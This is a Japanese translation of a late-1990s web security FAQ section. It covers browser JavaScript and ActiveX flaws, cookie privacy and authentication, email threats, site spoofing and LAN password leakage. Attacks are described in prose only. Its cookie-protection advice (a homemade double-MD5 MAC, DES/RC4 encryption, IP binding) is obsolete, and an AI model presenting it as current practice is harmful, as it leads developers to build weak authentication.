Microsoft Internet Explorer 4.0 (Windows 95/NT 版) では、リモート Web サイトのオペレータが、 ユーザのマシンにあるテキスト、画像、HTML ファイルや、マウントされたファイルサーバにあるファイルの内容を盗むことができるという問題があります。 ファイアウォールではこれを防ぐことができず、ブラウザが "High Security" モードで実行されていても対抗することができません。IE 4.0 (Mac 版) では問題ないことが明らかになっています。

ドイツの コンサルタントRalf Hueskes 氏が発見したこのバグは、JavaScript を使用すると、 表示されない 1x1 ピクセル幅のフレームができるという問題と合わせて "Freiburg attack" という名前で知られています。未知のユーザがリモートサイトをブラウズすると、非表示のフレームで実行されている JavaScript プログラムがユーザのローカルマシンと既知名のファイルについてファイル共有状態をスキャンし、 それらをインターネット上のサイトにアップロードすることがあります。このバグではJavaScript がファイルを修正または破壊することはありません。Microsoft ではこのバグに対するパッチを発行しています。 以下から取り出してください。

http://www.microsoft.com/msdownload/ieplatform/ie4patch/ie4patch.htm

バグの詳細については以下を参照してください。

http://www.jabadoo.de/press/ie4_us_old.html

ユーザのセッションを監視する (1997 年 8 月 29 日)

JavaScript ページが、セッション中にユーザがアクセスしたすべてのページを監視し、 表示した文書の URL をキャプチャし、情報をインターネット上のホストへ送信できるようにする、 一連のバグがあります。このバグの変形で、フォームに記入された情報、cookie 、 およびページに含まれるその他の情報をキャプチャするものもあります。ユーザが SSL で暗号化された 「セキュア」 ページを表示している場合でも、またファイアウォールで保護された環境で作業していても、 直接インターネットに接続しているのと同様に情報は盗まれます。ただし、 危険にさらされるのはユーザのプライバシーが侵害される、という点だけであって、 マシンのデータやソフトウェアが書き換えられることはありません。

最もよく見られるのは、非表示のウィンドウが開かれてしまうという現象です。 ユーザにはこのウィンドウが見えないため、スクリプトを起動したページから移動した後も JavaScript プログラムが実行されていることに気づきません。あるいは、新しいブラウザ画面を開き、 ユーザにこの画面を使わせるよう仕向けるバグもあります。

これらのバググループは、いくらつぶしてもおよそ一ヶ月の間隔でまた発生するもので、 "the Bell labs bug"、"Singapore bug"、"Santa Barbara bug" などというしゃれた名前で呼ばれます。 非常に多くのパッチが作成されリリースされていますが、すべてをつぶすのは無理です。 ただし以下のブラウザは特に問題があると言われているので注意が必要でしょう。

バグの詳細については以下に記載されています。ここで更新状況とパッチコードを調べてください。

フレームで情報を漏洩する (1997 年 7 月 10 日)

ブラウザフレームでの情報漏洩に関与するバグがあります。これが問題になるのは次のような場合です。 同じブラウザ画面をフレーム表示により 2 つのサイトが共有しているとします。信頼性のないサイトから JavaScript プログラムがダウンロードされた場合、もう一方のサイトのフレームの内容も見ることができます。 それが極秘情報であれば、問題の重要性は明らかです。

JavaScript の問題は修正されたものもありますが、そうでないものもあります。JavaScript は他のサイトからダウンロードされた文書の URL をすべて復元することはできませんが、 以下の要素のリストを盗むことはできます。

これは、JavaScript ページがユーザにフレームを開いたままにさせ、気づかれないようにユーザの動作を監視し、 表示した文書の全インライン画像の URL を記録していることを示しています。 文書自体の URLを復元することはできませんが、それはあまり問題ではありません。Web の画像はほとんどがローカルにあるものです。

このバグの実例については、 http://stein.cshl.org/~lstein/crossframesを参照してください。 インライン画像は 1 つの文書からしかキャプチャできませんが、ユーザが表示した URL の画像はすべてキャプチャ可能で、サーバにアップロードすることができるので注意してください。

このバグは Netscape Navigator 3.0、3.01、および Netscape Communicator 4.01 で影響があり ます。4.02 および 3.03 では修正されています。Navigator 2.X または Internet Explorer では問題ありません。

ファイルのアップロードに関する問題点 (1997 年 6 月 25 日)

厳密には JavaScript に関連しているわけではありませんが、Netscape Navigator の記入フォーム処理に関連したバグでは、 JavaScriptを使ってユーザのハードディスクにある任意のローカルファイルをブラウザからアップロードさせるようにすることができます。[Security Options] ダイアログボックスの [Warn before Submitting a Form Insecurely(安全でない方法でフォームを送信する時は警告する)] オプションをチェックしていないと、このようなア ップロードが行われたことをユーザは気づきません。またこのオプションを選択しても、 リモートサーバが SSL を使用して「セキュア」接続を確立しようとしていれば、警告メッセージは表示されません。

リモートサーバがローカルファイルの名前を予め認識していなければ、このような問題は起こりません。 しかしそれでもこれは大きな問題です。システムパスワードなど大量の重要な情報が格納されたファイルは既知の名前を持っているからです。

Netscape Navigator 2.0、3.0、3.01、および Netscape Communicator 4.0 は、すべてのこのバグの影響を受けます。 6 月 21 日にリリースされた Netscape Communicator 4.01 には、この問題を解決するパッチが含まれています。 Netscape Navigator バージョン 3.02 でもこの問題は解消されています。これらのブラウザの最新バージョンは Netscape の Web サイトで入手できます。

過去の問題

以下の問題は Netscape versions 2.0 および 2.01 に存在します。OSF Research Institute のJohn Robert LoVerso氏 (loverso@osf.org)がこれらを発見し、著書にまとめています。
  1. JavaScripts は、ユーザのローカルハードディスクまたはネットワークにマウントされたディスクのファイルをインターネットの不当なマシンにアップロードさせることがあります。 送信を開始するにはユーザがボタンをクリックしなければなりませんが、ボタンを害が無いようにカモフラージュするのは簡単です。 さらに、イベントの前後にファイルの送信が行われたことを示すものは何もありません。 パスワードが明らかになったファイルはたやすく破壊されてしまうため、アクセスのコントロールをパスワードに依存しているシステムは非常に危険です。
  2. JavaScripts は、ユーザのローカルハードディスクまたはネットワークにマウントされたディスクのディレクトリリストを取得することができます。 マシンの組織がわかればこれに侵入するのに非常に有利となるので、プライバシーとセキュリティの両面について危険であるということになります。
  3. JavaScripts は、セッション中にユーザがアクセスしたすべてのページを監視し、URL をキャプチャし、 それをインターネット上のホストに送信することができます。アップロードを完了するにはユーザとの対話が必要ですが、 先にも述べたように、無害なように見せかけて対話を行わせることもできます。
  4. JavaScripts はユーザが知らないうちに Netscape Navigator で電子メールメッセージを送信します。 このテクニックは、ユーザが持つ電子メールアドレスをキャプチャするときに使用されます。 .
これらのバグについては、以下を参照してください。
   http://www.osf.org/~loverso/javascript/

このような JavaScript のバグは Netscape Navigator バージョン 3.0 以降で修正されています。 ただし電子メールアドレスをキャプチャする点は例外で、バージョン 2.01 では修正されましたがバージョン 3.0 で再び発生しています。そしてバージョン 3.01 でまた修正され、 [Network & Security Options] ダイアログボックスのチェックボックスで、Navigator がユーザの名前で電子メールを送信する前に通知されるようになりました。 Microsoft Internet Explorer でも同様のオプションが [Options] 画面にあります。

結論

JavaScript にはセキュリティホールがあります。そのほとんどは修正されていますが、新しいものが定期的に出現します。 まだ確実にバグは潜んでいます。個人的な情報が漏れるのを避けたい場合は、JavaScript を完全にオフにすることを勧めます。 Netscape Navigator 2.X〜 3.X では、 [オプション] -> [ネットワークの設定] -> [言語] を選択し、チェックボックスのチェックを外せばオフにできます。 Microsoft Internet Explorer バージョン 3.X では、 [View] -> [Options] -> [Security] を選択し、[Run ActiveX scripts] という紛らわしい名前のついたチェックボックスのチェックを外せばオフにできます。

Microsoft Internet Explorer 4.0 では、インターネットをより安全に使えるようにするための新機能 「セキュリティ ゾーン」ができました。しかし実際には、 "High Security" を選択していても JavaScriptがアクティブで、簡単にオフにできないようになってしまいました。 JavaScriptをオフにするには [View] -> [インターネットオプション] -> [セキュリティ] を選択し、 ここで [インターネット] を選択します。次にラジオボタンを [Custom] の位置まで移動し、 [Settings...] ボタンを押します。オプションリストをスクロールダウンし、[アクティブ スクリプト] オプションを disable にします。"

Netscape Navigator 4.0 では、前述した手順に従って Java を disable にしてください。


Q65: ActiveXとは何ですか? これにより何らかのリスクが発生しますか?

ActiveX は、インターネット上でソフトウェアを配布するために Microsoft Corporation が開発したテクノロジです。 Java の applet のように、ActiveX の「コントロール」は Web ページに埋め込まれ、 一般的にわかりやすい対話式のグラフィックで表示されます。marquee のスクロール、BGM 生成、Java applet を実行する ActiveX コントロールなど、ほとんどの ActiveXコントロールを Microsoft Internet Explorer (現時点では、ActiveX コントロールを サポートする唯一のブラウザ) で実行できます。プラットフォーム非依存プログラミング言語である Java と異なり、ActiveX コントロールは実行可能なバイナリファイルとして配布され、 各ターゲットマシンおよびオペレーティングシステムに応じて別々にコンパイルされるものです。

ActiveX のセキュリティモデルは、Java applet とはかなり異なっています。Java はapplet の動作を安全な動作に制限することでセキュリティを保護します。一方、ActiveXはコントロールを制限しません。 代わりに、ActiveX の各コントロールについて、"Authenticode"というシステムを使用して、 署名が変更または拒否されないような方法で、作成者が電子的に署名します。 電子署名はVeriSign のような信頼できる「認証機関」によって認証され、これを使用してソフトウェアパッケージを未開封と同等の状態にすることができます。 電子認証が完了すると、そのソフトウェアはウィルスに感染しておらず、他の不当なコンポーネントも含まれていないということを、 開発者が保証します。署名された ActiveX コントロールをダウンロードしてマシンがクラッシュした場合、 ユーザは少なくとも責任をどこへ求めるかについては把握できます。

このセキュリティモデルでは、コンピュータシステムのセキュリティについての責任は、 すべてユーザに委ねられています。まだ署名されていない、あるいは未知の認証機関が署名している ActiveX コントロールをダウンロードする前に、危険を示す警告メッセージがブラウザのダイアログボックスに表示されます。 ユーザは送信を中止するか、続行するかを選択することができます。

ActiveX の認証プロセスでは、Active X コントロールを匿名で配布したり、 発表後に第三者が干渉したりすることはできなくなります。しかし、コントロールが不正な動作を行わないという保証はしません。 署名および認証された ActiveX コントロールが不正な動作を見せることはめったにありませんが、可能性がないわけではありません。この点を明示す るため、ソフトウェア開発者の Fred McLain 氏(mclain@halcyon.com)が最近 Exploder という ActiveX コントロールを発表しました。署名および認証の完了しているこのコントロールは、 ダウンロードを行った Windows95 マシンを完全にシャットダウンします。 シャットダウンは、Exploder コントロールを含む HTML ページを (Microsoft Internet Explorer バージョン 3.0 以降で) ユーザが表示した後、すぐ自動的に行われます。Exploder のことを知った Microsoft および VeriSign は、協同で Fred McLain 氏の電子署名を無効にし、 証明書発行時の同意内容を同氏が覆したとクレームをつけました。そのため、Internet Explorer の新しいバージョンを実行すると、Exploder ソフトウェアの認証は無効ですというメッセージが表示されます。

Exploder は、データロスを発生させるものではありませんでしたが、もっと悪意のあるコントロールならばユーザのハードディスクを再フォーマットしたり、 ウィルスに感染させたりします。実際、非常に不当な動作を見せる ActiveX コントロールが作成され、ドイツハンブルグ市の Chaos Computer Club (CCC) がそれを配布しています。これらは未署名のコントロールなので、 デフォルト設定がなされている場合、Internet Explorer ではこのコントロールは信頼できないものだというメッセージをユーザに通知します。 しかし、Internet Explorer の制限を "Low Security" に変更した初心者ユーザや、 警告を無視してコントロールをダウンロードおよび実行したユーザは、このような攻撃に弱くなります。

一番の問題は、ユーザのコンピュータからインターネットのサーバへ秘密のコンフィギュレーション情報をそっと送信してしまったり、LAN にウィルスを散布してしまった、 Internet Explorer にパッチ処理をしてコード認証エンジンが正しく機能しなくなったといった場合に、 微妙なアクションを起こしているコントロールを見つけ出すことが困難であるということです。このようなアクションは全く、あるいは少なくとも長期間にわた って検出されることがありません。たとえ損害状況がすぐに検出されたとしても、ActiveX コントロールがダウンロードされた記録のセキュア監査追跡をInternet Explorer は行いません。 このため、システム故障の原因を突き止めるのが困難になります。

ActiveX は、Microsoft Internet Explorer の [インターネットオプション] -> [セキュリティ] で完全にオフにすることができます。"High Security" の設定を選択して完全に ActiveX を disable にするか、"Medium Security" の設定を選択して ActiveX コントロール をダウンロードおよび実行する前にユーザに通知するよう指定することができます。 コントロールを実行できるようにした場合は、認証内容を十分注意して読んでから、慎重に名前、発行元、 ダウンロード所要時間を受諾してください。この情報はディスクに保存してはいけません。 コントロールが媒体を変更または破壊する恐れがあるからです。"Low Security" オプションを設定している場合は、 署名の有無に関わらずすべての ActiveX コントロールを実行できるので、この設定はお勧めしません。

IE 4.0 では、インターネット、LAN、または事前作成したリストに掲載されている信頼のあるサイトおよび信頼のないサイトのいずれから ActiveX コントロールを入手したかによって、その動作をカスタマイズすることができます。


Q66: "Cookie" によって何らかのセキュリティ面の危険性が発生しますか?

ここでは、Web の "cookie" と、それによって生じるセキュリティ上の問題について説明します。

Cookieとは何か

"Cookie" は、状態を保持することができないという HTTP プロトコルの性質を補うために Netscape が開発したメカニズムです。通常、Web サーバから URL のページをブラウザがリクエストするたびに、 そのリクエストはすべて新しい通信として処理されます。そのリクエストが、ユーザが同じサイト内で手順を追って行っている一連のリクエストの中で最新のものである、 というようなことは認識されません。これによりWeb はより効率的になりますが、状況保持ができないと、 ユーザの行動を一定期間記憶する必要のあるショッピング・カートのような仕組みを構築するのは困難です。

Cookieはこの問題を解決します。Cookieは、ブラウザが最初に接続したときに HTTP サーバがブラウザへ送信する、セッション識別子だけを示した小さな情報の断片です。 それ以後ブラウザは cookie のコピーを接続のたびにサーバへ返します。一般に、サーバは cookie を使用してユーザを認識し、複数のページを展開する 「セッション」 というマジックを見せてくれます。 Cookie は HTTP の標準仕様ではないので、一部のブラウザしかサポートしていません。 現在では、Microsoft Internet Explorer 3.0 以降および Netscape Navigator 2.0 以降でサポートされています。Cookie を利用するにあたっては、サーバおよび/またはその CGI スクリプトもそれを認識していなければなりません。

cookieには属性が含まれており、その属性をどのサーバに送信するかブラウザに伝えるものとなっています。 「ドメイン」 属性は cookie が返すべきホスト名を、「パス」 属性はドメインが有効になっている URL のパスを、 それぞれブラウザに通知します。たとえば、ドメインが "megacorp.com" でパスが "/users" であれば、 "/users" というパスで始まる URL を要求したときだけにそのcookieを"ftp.megacorp.com" および "www.megacorp.com" などの名前のホストへ返すようブラウザに通知します。セキュリティ上の理由から、".com" など最上位のドメインは設定できないようになっています。これにより、すべてのサーバに返されるような無差別の cookie が作成されることはなくなります。

Cookie とプライバシー

Cookie は、ユーザやマシンの情報の漏洩に使用することはできません。ある時点で提供した情報を格納するのに使用されるだけです。わかりやすい例を挙げれば、好きな色をフォ ームに入力した場合、サーバはこの情報を cookie に転記してブラウザに送信します。次にそのサイトに接続すると、 ブラウザが cookie を返し、背景色が好みの色に変更されます。

しかし、論議を呼び起こす問題もあります。アクセスするたびに、ブラウザはユーザに関する情報の一部を Web サイトに残し、 インターネット上にアクセスした軌跡を作成します。 ここに残されるデータには、ユーザのマシン名および IP アドレス、使用しているブラウザのメーカー、 ユーザが実行している OS、アクセスした Web ページの URL、最後に表示したページの URL などがあります。 Cookie を使用しなければ、他のユーザがこうした軌跡をたどってブラウズに関する情報を知ることはほとんど不可能です。 これを知るには、無数にある個々のサーバログを関連させることにより、ユーザのパスを再構築しなければなりません。 Cookie を使用している場合は、一変して再構築が容易になります。

DoubleClick Networkは、 World Wide Web を使用して個人のプロフィールを作成し、 好みの設定にカスタマイズした広告バナーと共に表示するために、DoubleClick Corporation が作成したシステムです。DoubleClickの主な顧客は、自社のサービスを広告したいWebサイトです。 DoubleClick Networkのメンバーは、それぞれ他のメンバーの広告を掲載するホストとなります。 Web サイトが DoubleClick に加盟すると、サービス内容の広告が作成されて DoubleClick のサーバに送信されます。 次に、DoubleClick を示す <IMG> グラフィックを HTML ページに挿入します。ユーザがこのように修正された HTML ページの 1 つを表示させると、ブラウザが DoubleClick のサーバを呼び出してグラフィックを取り出します。 サーバは、メンバの広告の 1 つを選択してブラウザに返します。ユーザがそのページをリロードすると、 別の広告が表示されます。ユーザがグラフィックをクリックすると、広告サイトにジャンプします。現在では、 非常に多くのサイトが DoubleClick に所属しています。

ユーザからは、DoubleClick のグラフィックは他の Web 広告と何ら変わりないように見え、 グラフィックに関し特殊なことが行われている痕跡は何も見えません。しかし、重要な違いがあります。 ユーザが最初に DoubleClick サーバに接続してグラフィックを取り出すと、 サーバはブラウザに一意の識別番号を持つ cookie を割り当てます。それ以降、ユーザが DoubleClick Network と契約しているどの Web サイトに接続するときも、常にブラウザが DoubleClick サーバへその識別番号を返し、ユーザを認識できるようにします。 一定期間を経過すると、ユーザがアクセス/再アクセスしたメンバサイトのリストを DoubleClick がコンパイルし、この情報を使用してユーザの嗜好や興味に関するプロフィールを作成します。 このプロフィールを元に、ユーザが興味を持ちそうな広告を DoubleClick サーバが選択できます。 また、ユーザのプロフィールや広告効果の分析といった貴重な情報を、メンバのWebサイトにフィードバックできます。

ユーザの名前および電子メールアドレスは DoubleClick が記録する情報に含まれませんが、 大抵はブラウザが残すその他の情報だけでも、ユーザを識別するには十分です。詳細については、 「サーバのログとプライバシー」を参照してください。多くのユーザが DoubleClick で cookie を使用するのを好まないのはこのためです。DoubleClick に追跡されているかどうかを知るには、ブラウザの cookie ファイルを調べてください。 Netscapeを使用する UNIX システムでは、ユーザのホームディレクトリに ~/.netscape/cookies という名前で cookie ファイルがあります。以下のように表示される場合は、DoubleClick cookie が使用されています。

ad.doubleclick.net FALSE / FALSE 942195440 IAA d2bbd5

Windows ユーザは、C:\Programs\Netscape\Navigator ディレクトリにある cookies.txt ファイルで同様の情報を見ることができますが、Macintosh ユーザは Preferences:Netscape の System フォルダで見てください。Microsoft Internet Explorer を使用している場合は、 C:\Windows\Cookies にあるファイルを調べてください。

Netscape Navigator および Internet Explorer の現バージョンでは、サーバがブラウザに cookie を使用しようとすると必ずユーザに通知されるようにするオプションがあります。 このオプションをオンにすると、cookie を拒否するオプションも使用できます。すでに収集された cookie も手動で削除したほうが良いでしょう。最も簡単なのは、すべての cookie ファイルを削除することです。

このスキーマの欠点は、ほとんどのサーバが、最初の cookie を拒否した後も同じ cookie を繰り返し提供するということです。このため、ユーザは混乱するかもしれません。しかし、 パニックに陥る前に、ほとんどの cookie は、ユーザが Web のブラウズを行いやすくするための良心的なものであって、 プライバシーを侵害するのが目的ではないということを思い出してください。Netscape Navigator 4.0 では、ユーザが表示したメインページ以外のサイトから発行される cookie を拒否できる機能が備えられています。 これにより、良性の cookie を妨害することなく、DoubleClickのようなスキーマは排除できます。このオプションを使用するには、 [Edit] -> [Preferences] -> [Advanced] を選択し、cookie セクションから適切なラジオボタンを選択してください。

一過性の cookie (セッションをブラウズしている間だけアクティブな cookie) は許可し、 恒久的な cookie (ユーザの識別情報を長期間保存する cookie) は拒否したいと考えるユーザもいるかもしれません。 UNIX システムでは、UNIX の "bit bucket" デバイス /dev/null と cookie ファイル間でシンボリックリンクを作成することにより、 簡単にこれを実現できます。他の OS を使用している場合は、cookie を遮断するサードパーティ製品を利用しなければなりません。 この製品の代表例は以下のとおりです。

NSClean, IEClean
Cookie ファイルをクリアする Windows 95/NT プログラム
http://www.nsclean.com/

InterMute (Windows, Macintosh, Unix)
Cookie、参照情報、その他URL リクエストから識別される情報を削除する匿名プロキシ ブラウザ内でJava appletとして動作する。

http://www.intermute.com/
Internet Junkbuster Proxy (Unix)
Cookie、参照情報、その他URL リクエストから識別される情報を削除する匿名プロキシ
http://internet.junkbuster.com/

Cookieとシステムセキュリティ

プライバシー侵害の問題だけでなく、cookie にはセキュリティ上の問題もあります。ほとんどのサイトは、 様々な種類のアクセスコントロールスキーマの実装にcookieを利用しています。 たとえば、ユーザの名前とパスワードを必要とする予約サイトは、最初にユーザがログインしたときにブラウザへ cookie を渡します。それ以降、cookie を許可証のように使用して、 ブラウザが有効な cookie を生成すれば、そのサイトの制限されたページにユーザがアクセスできるようになります。 こうすることで、ユーザがアクセスするたびにいちいちデータベースの名前やパスワードを検索しなくてもすむなど、 サイトにとってはメリットが数多くあります。

しかし、このようなシステムは慎重に利用しないと、悪質な第三者に悪用されかねません。 たとえば、packet snifferを利用すれば、ユーザがブラウザからサーバに渡した cookie を傍受し、それを使用してサイトへ自由にアクセスすることが可能です。ブラウザは、 サーバに所属する cookie を、DNS (ドメイン名システム) で判別するので、DNS を一時的に使用不可能にすることにより、 ブラウザが不良サーバへ cookie を送るよう仕向けることができます。もちろん cookie が恒久的なものなら、 ユーザの cookie データベースファイルから情報が盗み出される可能性もあります。

ここで、マルチパートトランザクションの実行中に処理状態を保存するためにセッション ID として cookie を使用しているトランザクション処理システムについて検討してみましょう。 このようなシステムの例として、企業データベース、オンライン注文システム、バンキング処理システムなど、 認証された従業員が記録内容を更新できるようなシステムが挙げられます。Cookie の傍受を防ぐ手段が講じられていない場合、 侵入者がトランザクションに介入し、許可されていない行為を実行することが可能です。

認証および処理状態保存に cookie を使用するシステムを設計するときは、cookie を傍受される可能性を考慮しなければなりません。 Cookieには、常に最小限のプライバシー情報しか含まれないようにしなければなりません。特に、 テキスト形式のユーザ名やパスワードを含むようにしてはなりません。多くのユーザが同じ Web サーバを共有する ISP 環境では、できるだけ特殊なパスを cookie に使用することが重要です。 たとえば、cookie を処理するプログラムが存在する場所の URL が http://bigISP.com/users/fred/order.cgi であれば、cookie のパスを / のような一般的なものではなく、/users/fred/order.cgi などに設定する必要があります。

できれば、cookie を使用しているユーザが、その操作を許可されているかどうかをシステム側で確認できるような情報を cookie に入れるようにしてください。一般的なスキーマでは、以下の情報を cookie に入れるようにしています。

  1. セッション ID またはアクセス許可情報
  2. Cookieが発行された日時
  3. 有効期限
  4. Cookieが発行されたブラウザの IP アドレス
  5. MAC (メッセージ認証チェック) コード
有効期限の日時を cookie に入れることにより、cookie が侵害されても、それによる破壊行為を少しでも小さく食い止めることができます。 Cookieが傍受された場合も、有効期限があればやがてその cookie は無効になるからです。ブラウザの IP アドレスを cookie に入れ、ブラウザの送信した IP アドレスが保存されている IP アドレスに一致するときだけその cookie を受諾するという方法もあります。偽の IP アドレスを作成してあざむくことは (不可能ではないまでも) 非常に難しいため、こうすれば侵入者を防ぐことができます。

MAC コードは、cookie のフィールドが全く改ざんされていないことを確認するためのものです。 MAC を推定する方法は各種ありますが、そのほとんどが MD5 または SHA などの一方向ハッシュアルゴリズムに従って、 cookie に含まれるデータの一意の識別特性を作成する方法です。 単純ですが比較的安全性の高い MD5 の使用例を以下に示します。

MAC = MD5("secret key " +
           MD5("session ID" + "issue date" +
               "expiration time" + "IP address" +
               "secret key")
          )
このアルゴリズムでは、まず cookie のデータフィールドの文字列をすべて連結し、次に Web サーバだけが認識する秘密文字列を追加します。この文字列がすべて MD5 機能に渡されて一意のハッシュが作成されます。 この値は再び秘密鍵と連結され、また全文字列が再ハッシュされます (二度目の MD5 ハッシュは、cookie の末尾にデータが追加され、アタッカーが新しいハッシュを推定してしまった場合に妨害されるのを防ぐために必要です) 。

これで、ハッシュ値が cookie データに組み込まれます。後に cookie がサーバに返されたとき、 cookie の有効期限が切れていないことと、正しい IP アドレスが返されていることをソフトウェアが確認します。 次にデータフィールドから MAC を再生成し、それと cookie の MAC とを比較します。双方が一致すれば、cookie はほとんど変更されていないと判断されます。

PPerl のプログラマは、Gisle Aas 氏によりモジュールへ組み込まれたさらに高度な技術 HMAC アルゴリズムを利用することができます。これは、MD5::Digest モジュールの CPAN で取得できます。

もう1つ、DES、IDEA、RC4 などの暗号化アルゴリズムで cookie 全体を暗号化する方法があります。 暗号化アルゴリズムおよびハッシュアルゴリズムを使用するときの詳細については、本書巻末に示した、暗号方式に関する参考文献を参照してください。

非常に繊細なアプリケーションの場合、SSLの完全バージョンを使用してブラウザおよびサーバ間のチャネル全体を暗号化する必要があります。 こうすると、cookie が暗号化されるため、ネットワーク盗聴者はまず暗号を読破しない限り cookie を傍受することができません。 Cookie が、安全でないチャネル上で不注意により公開されてしまうなどの事故を避けるためには、 開発者は "secure" 属性を設定し、SSL の有効時のみブラウザから cookie が送信されるようにしなければなりません。


Q67: 開くとハードディスクの内容を削除してしまう電子メールがあると聞きましたが本当ですか?

昔から現在にいたるまで、この質問に対する答えは一貫して「いいえ」とされ、大概の場合心配ないのですが、 このようなメールがあるかのようにみせかける悪質なチェーンメールは、今後も跡を絶たないと思われます。 典型的な例は "Good Times" メールです。このメールには「サブジェクトに "Good Times" と書かれた電子メールを受け取ったら、すぐに削除してください。このメールを開くと、 ただちにユーザのハードディスクを破壊するウィルスが起動するからです」と書かれています。 また、このメールをユーザの友人にも送信するよう促すメッセージか書かれています。

"Good Times" メールおよびその他同様のチェーンメールは、ほとんどがにせものです。 しかし、これらのメール内容を信じてしまう人も多いので、永久に転送が繰り返されていきます。 もしこのようなメールを受け取ったら、すぐに削除してください。友人やメーリングリストなどに転送してはいけません。 受け取った電子メールがいたずらかどうかわからない場合は、システム管理者またはネットワークセキュリティ管理者に問い合わせてください。

しかしやっかいなことに、単に開くだけでシステムを破壊する電子メールも実際にあります。 Netscape Communicator、Microsoft Outlook Express、Qualcomm Eudora などに組み込まれているものを含め、 新世代の電子メールソフトはすべて、ActiveX コントロールまたは JavaScript プログラムなどの「アクティブコンテント」を含むメール添付が可能になっています。 Q64およびQ65で説明したように、アクティブコンテントはユーザのプライバシーを侵害したり、 さらに重大な危害を加える各種の不当行為を行うことがあります。これらの問題が修正されるまでは、 アクティブコンテントを含む可能性のある電子メールを開くときは十分注意する必要があります。 これには HTML ページや HTML ページへのリンクも含まれます。JavaScript および ActiveX を disable にすれば、 問題の発生を免れることができます。

電子メールの危険性は他にもあります。1998 年夏、Qualcomm、Netscape、Microsoft 各社の電子メールクライアントに無数のプログラミングミスが発見されました。このミス (静的バッファ・オーバフロー関連) により、ユーザのマシンをクラッシュさせ、中身を破壊する電子メールが作成可能です。 これによる実際の被害については報告されていませんが、心配であれば、電子メールソフトのバージョンをバグが fix されたものにアップグレードしたほうがいいでしょう。詳細については、以下のセキュリティページを参照してください。

Microsoft
http://www.microsoft.com/security/bulletins/
Netscape
http://www.netscape.com/products/security/
Qualcomm
http://eudora.qualcomm.com/security.html

最後に、ウィルスを運ぶ文書もあるということを忘れないでください。たとえば、Microsoft Word、Excel、PowerPoint は、すべてウィルスを書くのに使用されるマクロ言語をサポートしています。 ユーザがこれらのプログラムを使用しており、このプログラムで作成された文書が添付された電子メールを受け取った場合、 添付文書を開いたときにシステムがウィルスに感染するのは十分ありうることです。最新のウィルスチェックプログラムは、 常にこれらのウィルスをとらえ、被害を防いでいます。マクロウィルスを認識するウィルスチェッカーは以下の URL にあります。

McAfee VirusScan
http://www.mcafee.com/
Symantec AntiVirus
http://www.symantec.com/
Norton AntiVirus
http://www.symantec.com/
Virex
http://www.datawatch.com/virex.shtml
IBM AntiVirus
http://www.av.ibm.com/
Dr. Solomon's Anti-Virus
http://www.drsolomon.com/

Q68: ある Web サイトが他のコンテンツを乗っ取ることがありますか?

これに類似する質問は他にも多くあり、答えはすべて「はい」です。あるサイトが Web 上に公開 (パスワードで保護されていない) ページを発行した場合、他のユーザがサイトすべてをコピーし、海賊版コンテンツを使用するサーバを設定することができます。 これは非常に簡単に実行することができます。1 つのコマンドでサイト全体をコピーできる Perl の"spiders" という機能がたくさんあるのですが、Internet Explorer にも単純な spider が組み込まれているからです。 公開文書のミラーサイトを設定する場合など合法的にコピーが行われているケースもあり、(the WWW Security FAQはこの方法でミラー化されたものです。 しかし、全くの海賊行為である場合もあります。

つまり、画面に表示される内容を簡単に信じてはいけない、ということです。URL を入力 するときのタイプミスを期待して、わざと人気のあるサイトに類似した名前を付けた無関 係のサイトが多数あります。例えばhttp://www.nescape.comhttp://www.mcrosoft.com/などです。 などです。個人情報や極秘情報を送信する前に必ず、サイトの URL を繰り返し確認するようにしてください。

一時的にドメイン名システムの「なりすまし」により、URL が不良サーバを指定するように仕向けることは、 難しいですが可能です。この場合、URL およびコンテンツの両方が正しく見えても、 通信しているサーバはユーザが考えているものと異なります。サイトが SSLを使用している場合、 そのアイデンティティを確認する手段の 1 つとして、Q58で説明したようにサイトの電子証明書を確認する方法があります。 サイトが SSL対応となっているのに SSLを使用していない場合、「なりすまし」が疑われます。

ただし、URL と証明書の内容が一致しても、ページの内容が Web サイトの承認したコンテンツであることが常に保証されているわけではありません。 1998 年 11 月、Netscape Navigator および Microsoft Internet Explorer の新しいバージョンで、思いもよらない欠点が 明るみに出ました。このバグにより、信頼される Web サイトの複数のフレームに、不当な Web サイトが独自のコンテンツを挿入することが可能になりました。この場合、コンテンツは信頼されるサイトから表示されたように見えますが、 実際には不当な第三者から表示されているものです。 URL が正しく表示され、電子証明書の内容が信頼できないとしたら、 どうしたらいいのでしょうか。このバグについては、以下を参照してください。

Web マスターからよく寄せられるのが、マテリアルを侵害されないようにするにはどうしたら良いか という質問です。あるユーザがインターネット上で公開した文書をコピーし、 個人的に利用するのを止めることは残念ながらできません。しかし、こうした流用を防ぎ、違反した場合は起訴できるよう、 画像、サウンド、およびその他のバイナリ形式データについて電子的な「すかし」の著作権を付与する手段があります。 これに関するリンク集については、the Bilderbank digital watermarking pagesAlessandro Piva's digital watermarking pagesDigital watermarking, steganograph & information hidingを参照してください。

また、ユーザの承諾をもらわずに CGI スクリプトおよび画像に別の不当なサイトがリンクすること、 つまりフリーロードされるのを防ぐには、Referer フィールドでアクセス制限を設定します。 これを行うには、不当な HTTP リクエストフィールドによるリクエストにフィルタをかけることができる Web サーバが必要です。Referer フィールドが定義されていない古いクライアントのリクエストと、 Referer フィールドが自分のサイトのページを示しているクライアントのリクエストを許可するように指定できます。 関連のないサイトの Referer フィールドを持つクライアントのアクセスは拒否されます。リモートサイトがそのサイトを <IMG>および <FORM> タグのターゲットとすることはできなくなります。

Apache Webサーバにオプションの mod_rewrite モジュールがあると、以下のような一連の指示でこれを行うことができます。

RewriteCond %{HTTP_REFERER} !^$                        # Referer field exists
RewriteCond %{HTTP_REFERER} !^http://my.site.com/ [NC] # and not my site
RewriteRule [^/]+\.(gif|jpg)$   -                 [F]  # No access to images
RewriteRule ^/cgi-bin/.+$       -                 [F]  # No access to
CGIs

ご利用の Web サーバにこの機能があるかどうかについては、ベンダのマニュアルを調べてください。


Q69: Web ブラウザが私のLANのログイン名とパスワードを公開することはありますか?

Windows 95、WFWG、Windows NT をお使いの場合、場合によっては公開することがあります。 悪意あるWeb サーバは、ユーザが LAN にログインするときのログイン名をInternet Explorer または Netscape Navigator が公開するよう仕向けることができます。"dictionary attack" 方式で解読されやすい暗号化形式でユーザのログインパスワードを公開させることもできます。 これはユーザにとっても企業側にとっても非常に重大な問題です。ログイン名およびパスワードがわかれば、 部外者が企業の LAN に侵入し、データを盗んだりファイルを破壊することが可能になるからです。 もちろん、適切に設定されたファイアウォールシステムで LAN を特別保護していれば未然に防ぐことができます。

